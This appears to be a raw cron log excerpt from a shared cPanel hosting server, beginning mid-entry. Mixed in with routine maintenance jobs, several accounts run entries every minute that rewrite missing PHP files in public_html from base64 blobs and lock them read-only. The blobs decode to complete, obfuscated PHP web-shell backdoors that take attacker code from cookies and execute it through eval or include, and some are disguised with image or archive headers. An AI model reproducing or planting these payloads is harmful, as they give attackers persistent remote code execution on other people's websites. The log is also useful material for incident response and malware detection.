X3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:37:02 medusa CROND[16770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:37:02 medusa CROND[16771]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:37:02 medusa CROND[16776]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:37:02 medusa CROND[16780]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:37:02 medusa CROND[16784]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:38:01 medusa CROND[2205]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 14:38:02 medusa CROND[2361]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:38:02 medusa CROND[2362]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:38:02 medusa CROND[2363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:38:02 medusa CROND[2364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:38:02 medusa CROND[2365]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:38:02 medusa CROND[2367]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:38:02 medusa CROND[2368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:38:02 medusa CROND[2372]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:38:02 medusa CROND[2373]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:38:02 medusa CROND[2374]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:38:02 medusa CROND[2376]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:38:02 medusa CROND[2390]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:39:01 medusa CROND[23193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:39:01 medusa CROND[23365]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:39:02 medusa CROND[23525]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:39:02 medusa CROND[23528]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:39:02 medusa CROND[23529]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:39:02 medusa CROND[23534]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:39:02 medusa CROND[23533]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 14:39:02 medusa CROND[23535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:39:02 medusa CROND[23543]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:39:02 medusa CROND[23544]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:39:02 medusa CROND[23545]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
